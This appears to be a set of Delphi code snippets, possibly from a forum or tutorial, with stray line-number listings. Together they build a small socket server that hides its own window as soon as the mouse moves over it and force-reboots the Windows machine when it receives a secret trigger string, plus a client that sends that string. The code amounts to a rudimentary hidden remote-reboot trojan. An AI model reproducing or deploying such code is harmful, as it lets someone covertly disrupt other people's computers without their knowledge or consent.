1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:

procedure TForm1.btnPORTClick(Sender: TObject);
begin
  Server.Port := STRtoINT(edPort.Text);
end;

procedure TForm1.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  IF socket.ReceiveText = '%123456Shutdown123456%' then
     ExitWindowsEx(EWX_REBOOT, 0)
  Else
     Showmessage(socket.ReceiveText);
end;




procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Form1.Hide;
end;

end.					

1:
2:
3:
4:

procedure TForm1.btnSendClick(Sender: TObject);
begin
  Client.socket.SendText(edSend.Text);
end;					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:

procedure TForm1.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
Temp: String;
begin
Temp := Socket.ReceiveText;
  IF Temp = '%123456Shutdown123456%' then
     ExitWindowsEx(EWX_REBOOT, 0)
  Else
     Showmessage(Temp);
end;